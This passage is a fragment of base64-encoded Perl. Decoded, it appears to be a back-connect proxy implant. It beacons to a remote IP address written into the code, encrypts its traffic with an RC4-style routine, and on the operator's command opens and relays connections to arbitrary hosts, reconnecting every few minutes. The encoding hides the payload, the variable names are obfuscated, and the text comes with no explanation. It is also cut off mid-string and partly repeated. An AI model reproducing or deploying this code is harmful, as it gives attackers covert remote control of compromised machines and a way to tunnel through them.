bjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3